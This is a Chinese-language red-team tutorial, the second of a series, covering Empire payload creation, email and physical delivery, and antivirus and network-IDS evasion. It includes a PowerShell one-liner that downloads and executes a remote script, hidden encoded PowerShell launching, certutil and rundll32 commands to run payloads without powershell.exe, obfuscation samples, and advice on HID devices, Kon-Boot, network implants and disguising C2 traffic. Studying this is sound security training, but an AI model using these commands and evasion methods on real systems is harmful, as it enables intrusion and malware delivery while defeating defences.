紅隊技術從零到一 part 2
這是該系列的第二篇也是最後一篇,我強烈建議所有正在閱讀本文的人首先閱讀第一部分然後來到這裡。在上一篇文章中,我們已經介紹過「什麼是紅隊技術?」、「滲透性測試VS紅隊技術」、「我們的目標」、「C2/Post-Exploitation框架選擇」和「C2基礎設施」。
在這一部分,我們將介紹有效負載創建、有效負載交付和AV/NIDS規避。
3.有效負載創建
Empire為我們提供了各種選項來生成你的Powershell代理,其中包括:exe、dll、Macro、HTA、bat、lnk、SCT、shellcode、bunny和ducky等。
Empire窗口有效載荷選項
一些負載創建技術:
3.1 ONE LINER POWERSHELL有效載荷
這裡有效載荷的整個第一階段是base64編碼的,並使用Powershell iex(Invoke Expression)執行。一旦執行,它將從C2伺服器進一步下載完整的Powershell代理。這個內核Powershell有效負載可以嵌入到宏、HTA文件中,也可以作為OLE對象嵌入。在此階段,它有很高的機會被AV檢測和標記。
> Powershell -W Hidden -nop -noni -enc -
> Would decode and execute the base64 Powershell payload
one liner Base64編碼Empire有效載荷
3.2 WINDOWS ONE LINER下載和執行代碼
有多種方法可以從遠程伺服器下載和執行文件,我們可以使用Powershell、Wscript、mshta、rundll32、Wmic、regsvr32、MSBuild等實現此功能。
我們可以告訴Powershell從C2伺服器下載ps1文件並執行它,而不是直接將base64有效負載作為命令行參數傳遞。它也有很高的機會被AV標記,但有些方法你可以試圖規避AV,我們將在AV規避部分討論。
Powershell -exec bypass -c 「(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(『http://webserver/payload.ps1』)|iex」 -> Would use the system proxy, download and execute a ps1 file
Powershell one liner用於使用系統代理下載和執行有效負載
這是由@arno0x0x在windows one liners上編寫的優秀資源,用於下載和執行任意代碼。
3.3 HID有效負載
在參與過程中,如果我們通過電子郵件發送的有效負載失敗或被檢測到,那麼我們可以嘗試在使用HID設備(如bash bunny或rubber ducky)成功進行物理入侵後執行它。幾乎所有認真對待安全性的主要組織都阻止了USB,所以別想在系統中插入快閃記憶體了。在我的經歷中,我看到HID攻擊在真正的戰鬥中是相當成功的。
你可以使用不同的文件擴展名(如bat、SCT、lnk等)執行Powershell有效負載,或者你可以使用橡皮鴨(rubber ducky)編寫整個Empire Powershell腳本並執行它。它具有較少的檢測機會,但文件接觸磁碟並可能留下更多的取證證據。
Empire生成的Vbs腳本
3.4 在不使用POWERSHELL.EXE的情況下運行POWERSHELL有效負載
由於Powershell被惡意軟體作者嚴重濫用,許多組織要麼完全阻止Powershell.exe執行,要麼啟用所有Powershell日誌記錄模塊,然後將其傳遞給中央日誌分析工具,如果發現任何可疑活動,就會觸發警報。如果Powershell執行被阻止,我們可以在不運行Powershell.exe的情況下啟動Powershell。它可以通過多種方式實現。
3.4.1 使用POWERSHDLL
我們使用dll文件運行Powershell腳本,它不需要訪問Powershell.exe,因為它使用的是Powershell自動化dll。如果我們不能直接將dll文件傳輸到遠程機器,我們可以使用帶有HID設備的certutil命令構建dll文件,然後使用該dll文件執行任何Powershell one liner代碼或腳本。
> base64 Powershdll.dll > Powershdll_b64.txt (converts the dll file into base64 and use a HID device to transfer this base64 data onto the victim』s machine)
> certutil -decode Powershdll_b64.txt output.dll (again convert the base64 chunck of data into a dll file)
> rundll32 output,main 「Powershell script」
使用Powershdll運行base64編碼的腳本:
> rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(「BASE64」)) ^| iex
當Powershell.exe被阻止時,還有多種其他技術可以執行Powershell代碼。你可以使用MSBuild實用程序來構建自己的exe文件,也可以構建一個不調用Powershell.exe的SCT文件。
4.有效負載交付
在組織內部網路中交付有效負載時,只有兩種主要的有效負載交付選項:
4.1 通過電子郵件
它至少得繞過收件人的電子郵件安全網關、Web過濾器和端點保護。它還取決於你如何嵌入有效負載以及安裝的安全設備。
·Office宏:在許多組織中,默認情況下啟用宏是進行合法工作的最佳方式。
·HTA文件:相當多,由Microsoft HTML應用程序主機-mshta.exe執行。
·Office DDE漏洞利用:請馬上修補。如果客戶端有最新版本的Office,則毫無用處。
以下是通過電子郵件傳遞惡意軟體的其他方法,你無法在當前方案中使用它們,但是你可以嘗試一下,具體取決於組織內使用的防禦設備的強度。
·瀏覽器漏洞利用:沒有用,除非你有最新瀏覽器0 day(主要是IE)。
·遞送EXE:遞送嵌入到exe文件中的惡意軟體應該是你能想到的最後一件事。從互聯網上下載的任何exe都必須經過嚴格的檢查和持續的行為監控。在受限制的環境中,可執行文件的數字簽名在執行之前會被檢查。如果它沒有使用流行實體簽名,那麼端點保護將阻止該exe文件的執行。
·Microsoft Office OLE漏洞:你可以嘗試一下,但所有端點保護軟體實際上都會在任何Office文件中查找任何OLE嵌入對象,它會被標記9次或者10次。
·Java偷渡式下載/快閃記憶體攻擊:大多數時候都會立即被端點保護標記。
通過電子郵件傳遞惡意軟體的風險在於,如果你的有效負載被端點保護標記,藍隊可能會開始調查它,他們可能會阻止你的網路釣魚域進入其組織內部,從而阻斷你以後通過該電子郵件伺服器發送任何網路釣魚郵件的希望。
另一種方法是在解密實際有效負載之前,使惡意軟體有效負載檢查特定的Windows域。如果藍隊試圖在沙盒或虛擬化環境中分析你的惡意軟體,那麼它們將無法找到你的C2域,因為它將保持加密狀態,直到找到正確的Windows域。這將確保有效負載僅在具有我們已設置的正確Windows域的活動目錄環境中解密和執行。對於其他人來說,它只是一個加密的blob。同樣,你也可以使你的有效負載檢查預定義的公共IP地址而不是Windows域名,這將確保它在你希望的組織中執行。
4.2 在成功的物理入侵/社會工程之後
幾乎在所有的大型組織中,USB上的任何類型的大容量存儲設備總是被通過Active目錄或DLP(Data loss prevention,數據丟失防護)端點軟體強制執行的策略阻止。因此,在任何系統中放入快閃記憶體驅動器都是不可能的。我們必須找到任何無人值守/鎖定的系統,我們可以用它來達到目的。如果我們在未鎖定的系統前幾秒鐘,那將會容易很多,或者我們可以讓一些員工通過社交工程師讓我們訪問他/她的解鎖系統幾分鐘,把自己偽裝成一個IT人員。如果系統被鎖定,我們可以使用konboot實用程序繞過密碼,前提是我們有足夠的時間。
4.2.1 KONBOOT(密碼旁路工具)
它是一個裝在USB驅動器中的實用程序,上面運行著一個小型的攜帶型Linux系統,你需要將其插入並重新啟動系統。它在運行時進行了一些更改,你無需輸入任何密碼即可登錄Windows系統。相比於任何其他密碼破解程序而言,它的優點是它只刪除密碼一次,然後從下次啟動系統將像以前設置的那樣工作。它既不會從SAM中刪除密碼也不會更改它,使其變得很隱蔽,並且不會引起注意,因為當員工下次登錄時,他不會發現任何可疑的東西。
對於連接到域的系統,這是一個方便的技巧,因為身份驗證發生在域控制器而非本地。插上LAN電纜,插入konboot usb,然後重啟系統。我不確定這是如何工作的,但它以某種方式從本地進行身份驗證,並且不會嘗試連接到AD。繞過密碼後,你可以再次插入LAN電纜並成為域用戶。
你得從那裡記下網路詳細信息(IP地址、網關、子網掩碼和MAC地址),因為它會讓你在以後的網路植入中方便使用,或者你想將kali機器連接到本地網路,考慮到IP分配是靜態的這一事實,並且有一個NAC(網路訪問控制)用於檢查連接到網路的有效設備。
Windows的konboot商業許可證價格約為75美元。如果驅動器已加密,則無法工作,因為操作系統需要密碼才能解密。
4.2.2 HID設備(模擬為合法鍵盤)
當我們面前有一個已經解鎖了的系統時(只有很短一段時間),我們可以使用USB HID設備,它可以模擬為鍵盤,並且可以自動鍵入全長有效載荷。系統會將其檢測為鍵盤,從而允許它運行。有不同的HID設備可供選擇,你可以使用Adruino pro micro製作你自己的一個(這樣比較省錢),但我更喜歡來自Hak5的Rubber ducky 和Bash bunny,它們包裝精良、隱秘、非常容易設置,bash bunny還有很多選擇。你還可以使用kali Nethunter將你的Android手機模擬為HID設備。
你可以把你的有效負載放在Rubber ducky /Bash bunny里,一旦插上,它會自動打開cmd,並且Powershell或記事本會在幾秒鐘內輸入你的有效負載,或者你可以用它來創建.bat、.vbsript文件或.HTA文件並執行它。使用不接觸磁碟並在內存中運行的有效負載會更好,一個很好的例子就是Powershell Invoke-Expression,它允許你在內存中運行任何Powershell腳本而不觸及磁碟,從而最大限度的降低了檢測風險。
如果你能負擔得起它們,你也可以在建築物周圍放下幾隻Rubber ducky,希望有人將它插入系統中。這裡涉及的風險是,屏幕上會發生一些事情,可能會引起懷疑。
4.2.3 網路植入(隱藏遠程後門)
Hak5開發了一些優秀的硬體設備,可以在紅隊評估期間作為遠程後門工作。我最喜歡的設備之一是LAN Turtle,你可以將其與LAN線一起插入CPU,或者只需將任何免費的LAN線插入其中,然後使用USB充電器為其供電,因為它體積小、設計小巧,如果放置正確,可能會被忽視數周甚至數月。
它有很多令人驚嘆的功能,如AutoSSH / OpenVPN客戶端。我個人建議使用OpenVPN客戶端模塊,它可以將你連接到組織的網路,通過它你可以進行進一步的利用。你還可以使用LAN Turtle中的響應程序模塊捕獲NTLM哈希並使用哈希訪問其他計算機。當你坐在沙發上觀看Netflix時,它就會讓你進入組織的網路!
5. AV/端點保護/NIDS規避
我不是AV /NIDS規避方面的專家,但經過大量的閱讀和各種AV的實驗,我得到了一些適合我的基本技術。在撰寫本文時,我會介紹如何繞過一些最常用的Entrprise Endpoint Protection軟體,這些軟體在完全修補好和更新好的Win7上與商業NIDS一起工作。我從自身的經驗中學到的是,為了規避AV和IDS,你首先需要了解它們的實際工作方式。你將它們如何將某些程序標記為惡意程序的工作方式了解得越深入,你就越能規避。
5.1 防病毒/端點規避
我不想去說明對我明確有用的技術,因為它可能對你不起作用。本文中對我有用的內容可能不適合你,因為AV供應商可能會更新其檢測技術或簽名,但我會說明有關AV規避的一些重要觀點:
5.1.1 避免丟棄有效負載傳遞的可執行文件
從互聯網下載的任何可執行文件都將通過一系列安全產品進行嚴格檢查。使用啟發式演算法,AV會嘗試在沙箱中執行它,並通過逆向工程檢查任何已知惡意軟體的可能簽名。此外,如果它是未簽名的二進位文件,那麼由於系統上實施的策略,它可能無法執行。
5.1.2 使用預載入的MICROSOFT工具
Windows系統附帶大量預裝工具,如Powershell、WMI、mshta、Wscript和regsvr32等,可用於下載/執行惡意軟體負載。使用預先載入的二進位文件的優點是,我們可以輕鬆繞過應用程序限制,因為這些是合法簽名的Windows二進位文件,它會使攻擊看起來不那麼可疑。
5.1.3 POWERSHELL攻擊仍然有效
最近,Powershell被惡意軟體操作者嚴重濫用,AV供應商也相應地更新了他們的簽名,能檢測到互聯網上任何框架生成的幾乎所有默認有效負載。儘管如此,繞過大多數基於AV的簽名檢測依舊不是很困難。
Win 10預裝了AMSI(Antimalware Scan Interface,反惡意軟體掃描介面),這使得規避變得更加困難,但大型組織的大部分基礎設施仍都在Win 7上。在做了更多關於AMSI的工作後,我將更新這篇文章。
5.1.4 混淆總是有效的,並且越多越好
使用Obfuscation,我成功繞過了大多數Endpoint保護軟體。非常感謝@danielhbohannon創建了一些非常棒的混淆項目。他創建了4個關於混淆的偉大項目,這對紅隊和藍隊都很有幫助:
·Invoke-Obfuscation
·Revoke-Obfuscation
·Invoke-CradleCrafter
·Invoke-DOSfuscation
我建議任何閱讀本文的人使用這些框架,並學習如何定製更多的默認輸出。
Sample Powershell command without Obfuscation:
Write-Host 『Test Obfuscation』 -Import test
Same command with Obfuscation
.(「」-f 『t』,』s』,』Write-Ho』) (「」-f』scatio』,』st 『,』T』,』Obfu』,』n』,』e』) -Import (「」-f 『est』,』t』)
調用,混淆
另外兩個偉大的項目是Veil和Shellter,我從未在任何真正的事物中使用它們,原因是它們主要處理的是可執行文件。
現代端點保護還內置了一些基於主機的IDS功能,例如檢查惡意主機流量、Web信譽等,我們將在NIDS規避中討論這些功能。
5.2 NIDS規避
在我們成功繞過Endpoint Protection之後,我們還需要繞過企業級NIDS系統。從廣義上講,NIDS可以分為兩類:
5.2.1 基於簽名的NIDS
基於簽名的NIDS通過將網路流量與任何已知的惡意軟體流量模式進行匹配來工作。它可以包括C2伺服器域、使用的協議、使用的URL、用戶代理、伺服器版本和默認頁面等。
在Empire示例中,這些C2指標很容易被改變。NIDS資料庫具有Empire默認流量或任何已知主要開發框架的網路流量模式。如果我們單獨使網路模式,就可以輕鬆繞過基於簽名的NIDS。下面的屏幕截圖是Empire代理的HTTP流量,它看起來類似於普通的網路流量,但是我們更改了默認的C2指標,如C2 URL、用戶代理、伺服器標頭和響應HTML正文等。
自定義Empire代理C2通信HTTP流量
5.2.2基於流量異常的NIDS
基於流量異常的NIDS以與基於簽名的IDS不同的方式工作。基於流量異常的IDS構建了組織內正常流量的模式,它們將這些數據提供給它們的機器學習演算法,如果IDS發現任何與正常流量模式不匹配的流量,它會將其標記為惡意流量。如果我們可以將我們的C2流量混合為正常流量模式,我們可以避開基於流量異常的IDS。
我想說幾點我在遊學中學到的NIDS規避的方法:
5.2.2.1 選擇正確C2通信協議
當涉及到C2協議時,你有很多種選擇。有效負載可以使用TCP、HTTP(s)、DNS、ICMP或自定義協議與C2通信。逃避偵查的最好方法就是混入其中。例如我們在下面的屏幕截圖中所看到的,Meterpreter與C2伺服器保持恆定的TCP連接。這種流量模式具有很強的可預見性,因此很容易被檢測到。
通過TCP的Constant Meterpreter流量
如果我們選擇任何自定義C2協議,也可能會被懷疑,因為自定義協議不在正常流量資料庫中。混合的最佳方法之一是使用常用的協議,如HTTP或DNS。使用HTTP時,我們可以輕鬆融入正常的網路流量,在這裡,我們將Empire C2伺服器設置為Microsoft的Live電子郵件伺服器。我們也可以使用DNS進行C2通信,但它有自己的局限性。當使用DNS作為C2協議時,數據傳輸速度將非常慢,並且網路將產生數千個加密的DNS請求,這可能會引起懷疑。C2協議選擇完全取決於你所定位的組織。
使用自定義延遲和抖動在HTTP中構建流量
5.2.2.2 選擇正確的C2域名
切勿僅使用IP地址進行C2伺服器通信。任何好的NIDS都會阻止重複連接到同一個IP地址,並且你的C2流量會從其他地方脫穎而出,因為正常情況下,網路通信只發生在一個域名上。在NIDS規避方面,用於C2伺服器的域名也很重要。如果你的C2域名聲譽不好,那麼NIDS可能會完全阻止你的域與任何系統進行通信。如果你要購買二手域名,請務必檢查域名的聲譽。
從醫療保健或金融等特定類別購買域名,因為由於合規性問題,IDS檢查或破壞該類別域名的SSL連接的可能性較小。
你還應該考慮老化你的域名,新購買的域名可能會引起懷疑。
5.2.2.3 在正常流量中混合C2流量
如果你使用的是HTTP/DNS等常用協議,那麼你已經融入了正常的通信模式,但是,如果你使用默認時間間隔與C2通信,基於流量異常的NIDS仍然可以很容易地檢測到你。
你應該將代理的回調時間從默認值(5s)增加到更大的值,使用抖動和更長的延遲時間會更好。增加你的回調時間太麻煩了,因為要執行一個命令時,你得等待你的回調時間間隔完成。你必須在兩者之間找到一個平衡點,這對你最有利。
5.2.2.4 帶有效證書的SSL上的C2流量
儘管如此,Empire使用始終加密的POST方法在HTTP主體中發送C2流量,但繞過NIDS是不夠的。通常,普通網路流量不會加密整個http POST主體,這可能會引起懷疑。以下是正常Empire通信的屏幕截圖。
Empire C2通信中的加密消息體
IDS可以清楚地看到你的整個網路流量,進行解剖並仔細分析。如果通信量是HTTP格式的,則會更加可疑。多NIDS只是讓SSL流量在不檢查它們的情況下運行,這在很大程度上還取決於組織是如何實現其IDS的,以及它們是否為了進行數據包檢查而中斷了SSL連接。
對C2通信使用SSL,並且始終使用來自已知CA頒發機構的有效簽名證書總是會更加穩妥一點。我們已經討論了如何在C2基礎設施部分使用SSL設置C2基礎設施。
通過SSL加密Empire C2數據
結論
AV/NIDS規避永遠是貓與老鼠的遊戲。對於我在上文中討論的技術,當你在系統上嘗試時,它可能無法正常工作。文章的議程是教會初學者,如果你作為紅隊的一員,在做一部分工作時你必須要考慮到的所有事情,我們的目標是在網路中獲得初步立足點。無論我們在這個文章中討論過什麼都不是絕對的,你可能必須根據情況和組織的安全策略更改C2框架、正在使用的協議、AV規避技術、C2配置文件、C2基礎設施等。
例如,如果你曾與銀行業合作過,那麼你就會知道許多銀行的基礎設施已經實施了IP白名單,它們的內部系統將僅連接到IDS規則集中預定義的選定IP地址。在這種情況下,你可以使用DNS進行C2通信,這會幫助你繞過IP白名單,因為我們沒有連接到C2通信的任何IP地址。Cobalt Strike具有出色的DNS信標選項。
整個職位的關鍵是,紅隊總會找到繞過最新防守技術/軟體的方法,而藍隊總是必須不斷實施新技術來捍衛自己的組織。這是一場持續的拔河比賽,準備程度更高的人將獲勝!
我們將在此紅隊系列中發布更多文章,歡迎前來交流。
謝謝閱讀!
※如何尋找隱藏在CloudFlare或TOR背後的真實原始IP
※LuckyMouse使用中國IT公司的證書籤署惡意NDISProxy驅動程序
TAG:嘶吼RoarTalk |